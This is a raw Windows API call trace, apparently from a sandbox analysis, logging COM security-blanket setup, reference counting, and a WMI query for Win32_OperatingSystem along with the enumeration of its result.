	[0102.219] IClientSecurity:QueryBlanket (in: This=0x72c76c, pProxy=0x72c78c, pAuthnSvc=0x6b5e8a4, pAuthzSvc=0x6b5e8a0, pServerPrincName=0x6b5e898, pAuthnLevel=0x6b5e89c, pImpLevel=0x6b5e88c, pAuthInfo=0x6b5e890, pCapabilites=0x6b5e894 | out: pAuthnSvc=0x6b5e8a4*=0xa, pAuthzSvc=0x6b5e8a0*=0x0, pServerPrincName=0x6b5e898, pAuthnLevel=0x6b5e89c*=0x6, pImpLevel=0x6b5e88c*=0x2, pAuthInfo=0x6b5e890, pCapabilites=0x6b5e894*=0x1) returned 0x0
	[0102.219] IUnknown:Release (This=0x72c76c) returned 0x2
	[0102.219] IUnknown:QueryInterface (in: This=0x72c78c, riid=0x73be10f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5e848 | out: ppvObject=0x6b5e848*=0x72c78c) returned 0x0
	[0102.219] IUnknown:QueryInterface (in: This=0x72c78c, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5e844 | out: ppvObject=0x6b5e844*=0x72c76c) returned 0x0
	[0102.219] IClientSecurity:SetBlanket (This=0x72c76c, pProxy=0x72c78c, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0
	[0102.219] IUnknown:Release (This=0x72c76c) returned 0x3
	[0102.219] IUnknown:Release (This=0x72c78c) returned 0x2
	[0102.219] CoTaskMemFree (pv=0x5425000) 
	[0102.219] IUnknown:Release (This=0x72c78c) returned 0x1
	[0102.219] SysStringLen (param_1=0x0) returned 0x0
	[0102.219] CoGetContextToken (in: pToken=0x6b5e810 | out: pToken=0x6b5e810) returned 0x0
	[0102.219] CoGetContextToken (in: pToken=0x6b5e770 | out: pToken=0x6b5e770) returned 0x0
	[0102.219] IUnknown:QueryInterface (in: This=0x72c78c, riid=0x6b5e840*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x6b5e83c | out: ppvObject=0x6b5e83c*=0x69bc9d4) returned 0x0
	[0102.225] IUnknown:AddRef (This=0x69bc9d4) returned 0x3
	[0102.225] IUnknown:Release (This=0x69bc9d4) returned 0x2
	[0102.225] CoGetContextToken (in: pToken=0x6b5e7d0 | out: pToken=0x6b5e7d0) returned 0x0
	[0102.225] IUnknown:AddRef (This=0x69bc9d4) returned 0x3
	[0102.225] IUnknown:QueryInterface (in: This=0x69bc9d4, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5e854 | out: ppvObject=0x6b5e854*=0x72c76c) returned 0x0
	[0102.225] IClientSecurity:QueryBlanket (in: This=0x72c76c, pProxy=0x69bc9d4, pAuthnSvc=0x6b5e8a4, pAuthzSvc=0x6b5e8a0, pServerPrincName=0x6b5e898, pAuthnLevel=0x6b5e89c, pImpLevel=0x6b5e88c, pAuthInfo=0x6b5e890, pCapabilites=0x6b5e894 | out: pAuthnSvc=0x6b5e8a4*=0xa, pAuthzSvc=0x6b5e8a0*=0x0, pServerPrincName=0x6b5e898, pAuthnLevel=0x6b5e89c*=0x6, pImpLevel=0x6b5e88c*=0x2, pAuthInfo=0x6b5e890, pCapabilites=0x6b5e894*=0x1) returned 0x0
	[0102.225] IUnknown:Release (This=0x72c76c) returned 0x3
	[0102.225] IUnknown:QueryInterface (in: This=0x69bc9d4, riid=0x73be10f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5e848 | out: ppvObject=0x6b5e848*=0x72c78c) returned 0x0
	[0102.225] IUnknown:QueryInterface (in: This=0x69bc9d4, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5e844 | out: ppvObject=0x6b5e844*=0x72c76c) returned 0x0
	[0102.225] IClientSecurity:SetBlanket (This=0x72c76c, pProxy=0x69bc9d4, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0
	[0102.226] IUnknown:Release (This=0x72c76c) returned 0x4
	[0102.226] IUnknown:Release (This=0x72c78c) returned 0x3
	[0102.226] CoTaskMemFree (pv=0x5425000) 
	[0102.227] IUnknown:Release (This=0x69bc9d4) returned 0x2
	[0102.227] SysStringLen (param_1=0x0) returned 0x0
	[0102.227] CoGetContextToken (in: pToken=0x6b5e748 | out: pToken=0x6b5e748) returned 0x0
	[0102.227] IUnknown:AddRef (This=0x69bc9d4) returned 0x3
	[0102.227] IWbemServices:ExecQuery (in: This=0x69bc9d4, strQueryLanguage="WQL", strQuery="select * from Win32_OperatingSystem", lFlags=16, pCtx=0x0, ppEnum=0x6b5e960 | out: ppEnum=0x6b5e960*=0x69b09c4) returned 0x0
	[0102.235] IUnknown:QueryInterface (in: This=0x69b09c4, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5e7b8 | out: ppvObject=0x6b5e7b8*=0x69b09c8) returned 0x0
	[0102.235] IClientSecurity:QueryBlanket (in: This=0x69b09c8, pProxy=0x69b09c4, pAuthnSvc=0x6b5e808, pAuthzSvc=0x6b5e804, pServerPrincName=0x6b5e7fc, pAuthnLevel=0x6b5e800, pImpLevel=0x6b5e7f0, pAuthInfo=0x6b5e7f4, pCapabilites=0x6b5e7f8 | out: pAuthnSvc=0x6b5e808*=0xa, pAuthzSvc=0x6b5e804*=0x0, pServerPrincName=0x6b5e7fc, pAuthnLevel=0x6b5e800*=0x6, pImpLevel=0x6b5e7f0*=0x2, pAuthInfo=0x6b5e7f4, pCapabilites=0x6b5e7f8*=0x1) returned 0x0
	[0102.235] IUnknown:Release (This=0x69b09c8) returned 0x1
	[0102.235] IUnknown:QueryInterface (in: This=0x69b09c4, riid=0x73be10f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5e7ac | out: ppvObject=0x6b5e7ac*=0x72cb4c) returned 0x0
	[0102.236] IUnknown:QueryInterface (in: This=0x69b09c4, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5e7a8 | out: ppvObject=0x6b5e7a8*=0x69b09c8) returned 0x0
	[0102.236] IClientSecurity:SetBlanket (This=0x69b09c8, pProxy=0x69b09c4, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0
	[0102.237] IUnknown:Release (This=0x69b09c8) returned 0x2
	[0102.237] IUnknown:Release (This=0x72cb4c) returned 0x1
	[0102.237] CoTaskMemFree (pv=0x5425000) 
	[0102.237] IUnknown:QueryInterface (in: This=0x69b09c4, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5e3a4 | out: ppvObject=0x6b5e3a4*=0x72cb4c) returned 0x0
	[0102.237] IUnknown:QueryInterface (in: This=0x72cb4c, riid=0x735ffc00*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x6b5e360 | out: ppvObject=0x6b5e360*=0x0) returned 0x80004002
	[0102.237] IUnknown:QueryInterface (in: This=0x72cb4c, riid=0x735ffe90*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x6b5e17c | out: ppvObject=0x6b5e17c*=0x0) returned 0x80004002
	[0102.237] IUnknown:AddRef (This=0x72cb4c) returned 0x3
	[0102.238] IUnknown:QueryInterface (in: This=0x72cb4c, riid=0x735ff90c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x6b5dcbc | out: ppvObject=0x6b5dcbc*=0x0) returned 0x80004002
	[0102.238] IUnknown:QueryInterface (in: This=0x72cb4c, riid=0x735ff860*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x6b5dc6c | out: ppvObject=0x6b5dc6c*=0x0) returned 0x80004002
	[0102.238] IUnknown:QueryInterface (in: This=0x72cb4c, riid=0x735ec350*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5dc78 | out: ppvObject=0x6b5dc78*=0x72caac) returned 0x0
	[0102.238] IMarshal:GetUnmarshalClass (in: This=0x72caac, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x6b5dc80 | out: pCid=0x6b5dc80*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0102.238] IUnknown:Release (This=0x72caac) returned 0x3
	[0102.238] CoGetContextToken (in: pToken=0x6b5dcd8 | out: pToken=0x6b5dcd8) returned 0x0
	[0102.238] CoGetContextToken (in: pToken=0x6b5e0e0 | out: pToken=0x6b5e0e0) returned 0x0
	[0102.238] IUnknown:QueryInterface (in: This=0x72cb4c, riid=0x735ffb48*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5e170 | out: ppvObject=0x6b5e170*=0x72cb34) returned 0x0
	[0102.238] IRpcOptions:Query (in: This=0x72cb34, pPrx=0x72cb4c, dwProperty=2, pdwValue=0x6b5e198 | out: pdwValue=0x6b5e198) returned 0x80004002
	[0102.238] IUnknown:Release (This=0x72cb34) returned 0x3
	[0102.238] IUnknown:Release (This=0x72cb4c) returned 0x2
	[0102.238] CoGetContextToken (in: pToken=0x6b5e6b8 | out: pToken=0x6b5e6b8) returned 0x0
	[0102.238] CoGetContextToken (in: pToken=0x6b5e618 | out: pToken=0x6b5e618) returned 0x0
	[0102.238] IUnknown:QueryInterface (in: This=0x72cb4c, riid=0x6b5e6e8*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x6b5e6e4 | out: ppvObject=0x6b5e6e4*=0x69b09c4) returned 0x0
	[0102.238] IUnknown:AddRef (This=0x69b09c4) returned 0x4
	[0102.238] IUnknown:Release (This=0x69b09c4) returned 0x3
	[0102.238] IUnknown:Release (This=0x69b09c4) returned 0x2
	[0102.238] IUnknown:Release (This=0x69bc9d4) returned 0x2
	[0102.239] SysStringLen (param_1=0x0) returned 0x0
	[0102.239] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x69bd6f8, puCount=0x6b5e9ac | out: puCount=0x6b5e9ac*=0x2) returned 0x0
	[0102.239] WbemDefPath:IWbemPath:GetText (in: This=0x69bd6f8, lFlags=4, puBuffLength=0x6b5e9a8*=0x0, pszText=0x0 | out: puBuffLength=0x6b5e9a8*=0xf, pszText=0x0) returned 0x0
	[0102.239] WbemDefPath:IWbemPath:GetText (in: This=0x69bd6f8, lFlags=4, puBuffLength=0x6b5e9a8*=0xf, pszText="00000000000000" | out: puBuffLength=0x6b5e9a8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0
	[0102.239] CoGetContextToken (in: pToken=0x6b5e7e8 | out: pToken=0x6b5e7e8) returned 0x0
	[0102.239] IUnknown:AddRef (This=0x69b09c4) returned 0x3
	[0102.239] IEnumWbemClassObject:Clone (in: This=0x69b09c4, ppEnum=0x6b5e9a8 | out: ppEnum=0x6b5e9a8*=0x69bd28c) returned 0x0
	[0102.239] IUnknown:QueryInterface (in: This=0x69bd28c, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5e86c | out: ppvObject=0x6b5e86c*=0x69bd290) returned 0x0
	[0102.239] IClientSecurity:QueryBlanket (in: This=0x69bd290, pProxy=0x69bd28c, pAuthnSvc=0x6b5e8bc, pAuthzSvc=0x6b5e8b8, pServerPrincName=0x6b5e8b0, pAuthnLevel=0x6b5e8b4, pImpLevel=0x6b5e8a4, pAuthInfo=0x6b5e8a8, pCapabilites=0x6b5e8ac | out: pAuthnSvc=0x6b5e8bc*=0xa, pAuthzSvc=0x6b5e8b8*=0x0, pServerPrincName=0x6b5e8b0, pAuthnLevel=0x6b5e8b4*=0x6, pImpLevel=0x6b5e8a4*=0x2, pAuthInfo=0x6b5e8a8, pCapabilites=0x6b5e8ac*=0x1) returned 0x0
	[0102.239] IUnknown:Release (This=0x69bd290) returned 0x1
	[0102.240] IUnknown:QueryInterface (in: This=0x69bd28c, riid=0x73be10f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5e860 | out: ppvObject=0x6b5e860*=0x72c96c) returned 0x0
	[0102.240] IUnknown:QueryInterface (in: This=0x69bd28c, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5e85c | out: ppvObject=0x6b5e85c*=0x69bd290) returned 0x0
	[0102.240] IClientSecurity:SetBlanket (This=0x69bd290, pProxy=0x69bd28c, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0
	[0102.241] IUnknown:Release (This=0x69bd290) returned 0x2
	[0102.241] IUnknown:Release (This=0x72c96c) returned 0x1
	[0102.241] CoTaskMemFree (pv=0x5425000) 
	[0102.241] IUnknown:QueryInterface (in: This=0x69bd28c, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5e448 | out: ppvObject=0x6b5e448*=0x72c96c) returned 0x0
	[0102.241] IUnknown:QueryInterface (in: This=0x72c96c, riid=0x735ffc00*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x6b5e404 | out: ppvObject=0x6b5e404*=0x0) returned 0x80004002
	[0102.242] IUnknown:QueryInterface (in: This=0x72c96c, riid=0x735ffe90*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x6b5e224 | out: ppvObject=0x6b5e224*=0x0) returned 0x80004002
	[0102.243] IUnknown:AddRef (This=0x72c96c) returned 0x3
	[0102.243] IUnknown:QueryInterface (in: This=0x72c96c, riid=0x735ff90c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x6b5dd64 | out: ppvObject=0x6b5dd64*=0x0) returned 0x80004002
	[0102.243] IUnknown:QueryInterface (in: This=0x72c96c, riid=0x735ff860*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x6b5dd14 | out: ppvObject=0x6b5dd14*=0x0) returned 0x80004002
	[0102.243] IUnknown:QueryInterface (in: This=0x72c96c, riid=0x735ec350*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5dd20 | out: ppvObject=0x6b5dd20*=0x72c8cc) returned 0x0
	[0102.243] IMarshal:GetUnmarshalClass (in: This=0x72c8cc, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x6b5dd28 | out: pCid=0x6b5dd28*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0102.243] IUnknown:Release (This=0x72c8cc) returned 0x3
	[0102.243] CoGetContextToken (in: pToken=0x6b5dd80 | out: pToken=0x6b5dd80) returned 0x0
	[0102.243] CoGetContextToken (in: pToken=0x6b5e188 | out: pToken=0x6b5e188) returned 0x0
	[0102.243] IUnknown:QueryInterface (in: This=0x72c96c, riid=0x735ffb48*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5e218 | out: ppvObject=0x6b5e218*=0x72c954) returned 0x0
	[0102.244] IRpcOptions:Query (in: This=0x72c954, pPrx=0x72c96c, dwProperty=2, pdwValue=0x6b5e240 | out: pdwValue=0x6b5e240) returned 0x80004002
	[0102.244] IUnknown:Release (This=0x72c954) returned 0x3
	[0102.244] IUnknown:Release (This=0x72c96c) returned 0x2
	[0102.244] CoGetContextToken (in: pToken=0x6b5e758 | out: pToken=0x6b5e758) returned 0x0
	[0102.244] CoGetContextToken (in: pToken=0x6b5e6b8 | out: pToken=0x6b5e6b8) returned 0x0
	[0102.244] IUnknown:QueryInterface (in: This=0x72c96c, riid=0x6b5e788*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x6b5e784 | out: ppvObject=0x6b5e784*=0x69bd28c) returned 0x0
	[0102.244] IUnknown:AddRef (This=0x69bd28c) returned 0x4
	[0102.244] IUnknown:Release (This=0x69bd28c) returned 0x3
	[0102.244] IUnknown:Release (This=0x69bd28c) returned 0x2
	[0102.244] IUnknown:Release (This=0x69b09c4) returned 0x2
	[0102.244] SysStringLen (param_1=0x0) returned 0x0
	[0102.244] IEnumWbemClassObject:Reset (This=0x69bd28c) returned 0x0
	[0102.244] CoTaskMemAlloc (cb=0x4) returned 0x7198d0
	[0102.244] IEnumWbemClassObject:Next (in: This=0x69bd28c, lTimeout=-1, uCount=0x1, apObjects=0x7198d0, puReturned=0x2494404 | out: apObjects=0x7198d0*=0x69bd2c8, puReturned=0x2494404*=0x1) returned 0x0
	[0102.324] IUnknown:QueryInterface (in: This=0x69bd2c8, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5e008 | out: ppvObject=0x6b5e008*=0x69bd2c8) returned 0x0
	[0102.324] IUnknown:QueryInterface (in: This=0x69bd2c8, riid=0x735ffc00*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x6b5dfc4 | out: ppvObject=0x6b5dfc4*=0x0) returned 0x80004002
	[0102.324] IUnknown:QueryInterface (in: This=0x69bd2c8, riid=0x735ffe90*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x6b5dde4 | out: ppvObject=0x6b5dde4*=0x0) returned 0x80004002
	[0102.324] IUnknown:AddRef (This=0x69bd2c8) returned 0x3
	[0102.324] IUnknown:QueryInterface (in: This=0x69bd2c8, riid=0x735ff90c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x6b5d924 | out: ppvObject=0x6b5d924*=0x0) returned 0x80004002
	[0102.324] IUnknown:QueryInterface (in: This=0x69bd2c8, riid=0x735ff860*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x6b5d8d4 | out: ppvObject=0x6b5d8d4*=0x0) returned 0x80004002
	[0102.324] IUnknown:QueryInterface (in: This=0x69bd2c8, riid=0x735ec350*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5d8e0 | out: ppvObject=0x6b5d8e0*=0x69bd2cc) returned 0x0
	[0102.324] IMarshal:GetUnmarshalClass (in: This=0x69bd2cc, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x6b5d8e8 | out: pCid=0x6b5d8e8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0
	[0102.324] IUnknown:Release (This=0x69bd2cc) returned 0x3
	[0102.324] CoGetContextToken (in: pToken=0x6b5d940 | out: pToken=0x6b5d940) returned 0x0
	[0102.324] CoGetContextToken (in: pToken=0x6b5dd48 | out: pToken=0x6b5dd48) returned 0x0
	[0102.324] IUnknown:QueryInterface (in: This=0x69bd2c8, riid=0x735ffb48*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5ddd8 | out: ppvObject=0x6b5ddd8*=0x0) returned 0x80004002
	[0102.324] IUnknown:Release (This=0x69bd2c8) returned 0x2
	[0102.324] CoGetContextToken (in: pToken=0x6b5e318 | out: pToken=0x6b5e318) returned 0x0
	[0102.324] CoGetContextToken (in: pToken=0x6b5e278 | out: pToken=0x6b5e278) returned 0x0
	[0102.324] IUnknown:QueryInterface (in: This=0x69bd2c8, riid=0x6b5e348*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x6b5e344 | out: ppvObject=0x6b5e344*=0x69bd2c8) returned 0x0
	[0102.325] IUnknown:AddRef (This=0x69bd2c8) returned 0x4
	[0102.325] IUnknown:Release (This=0x69bd2c8) returned 0x3
	[0102.325] IUnknown:Release (This=0x69bd2c8) returned 0x2
	[0102.325] CoTaskMemFree (pv=0x7198d0) 
	[0102.325] CoGetContextToken (in: pToken=0x6b5e688 | out: pToken=0x6b5e688) returned 0x0
	[0102.325] IUnknown:AddRef (This=0x69bd2c8) returned 0x3
	[0102.325] CoTaskMemAlloc (cb=0x4) returned 0x7198d0
	[0102.325] IEnumWbemClassObject:Next (in: This=0x69bd28c, lTimeout=-1, uCount=0x1, apObjects=0x7198d0, puReturned=0x2494404 | out: apObjects=0x7198d0*=0x0, puReturned=0x2494404*=0x0) returned 0x1
	[0102.327] CoTaskMemFree (pv=0x7198d0) 
	[0102.327] CoGetContextToken (in: pToken=0x6b5e7f8 | out: pToken=0x6b5e7f8) returned 0x0
	[0102.327] IUnknown:AddRef (This=0x69b09c4) returned 0x3
	[0102.327] IEnumWbemClassObject:Clone (in: This=0x69b09c4, ppEnum=0x6b5e9b8 | out: ppEnum=0x6b5e9b8*=0x69bd91c) returned 0x0
	[0102.329] IUnknown:QueryInterface (in: This=0x69bd91c, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5e87c | out: ppvObject=0x6b5e87c*=0x69bd920) returned 0x0
	[0102.329] IClientSecurity:QueryBlanket (in: This=0x69bd920, pProxy=0x69bd91c, pAuthnSvc=0x6b5e8cc, pAuthzSvc=0x6b5e8c8, pServerPrincName=0x6b5e8c0, pAuthnLevel=0x6b5e8c4, pImpLevel=0x6b5e8b4, pAuthInfo=0x6b5e8b8, pCapabilites=0x6b5e8bc | out: pAuthnSvc=0x6b5e8cc*=0xa, pAuthzSvc=0x6b5e8c8*=0x0, pServerPrincName=0x6b5e8c0, pAuthnLevel=0x6b5e8c4*=0x6, pImpLevel=0x6b5e8b4*=0x2, pAuthInfo=0x6b5e8b8, pCapabilites=0x6b5e8bc*=0x1) returned 0x0
	[0102.329] IUnknown:Release (This=0x69bd920) returned 0x1
	[0102.329] IUnknown:QueryInterface (in: This=0x69bd91c, riid=0x73be10f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5e870 | out: ppvObject=0x6b5e870*=0x72d1dc) returned 0x0
	[0102.329] IUnknown:QueryInterface (in: This=0x69bd91c, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5e86c | out: ppvObject=0x6b5e86c*=0x69bd920) returned 0x0
	[0102.329] IClientSecurity:SetBlanket (This=0x69bd920, pProxy=0x69bd91c, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0
	[0102.339] IUnknown:Release (This=0x69bd920) returned 0x2
	[0102.339] IUnknown:Release (This=0x72d1dc) returned 0x1
	[0102.339] CoTaskMemFree (pv=0x5425000) 
	[0102.339] IUnknown:QueryInterface (in: This=0x69bd91c, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5e458 | out: ppvObject=0x6b5e458*=0x72d1dc) returned 0x0
